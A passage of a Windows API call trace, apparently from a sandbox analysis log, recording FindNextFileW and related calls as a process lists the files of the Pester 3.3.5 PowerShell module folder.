dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0193.901] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0193.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.902] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0193.902] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0193.903] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0193.904] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0193.905] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0193.906] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0193.906] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1 [0193.906] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1 [0193.907] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.907] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x40bee10 | out: 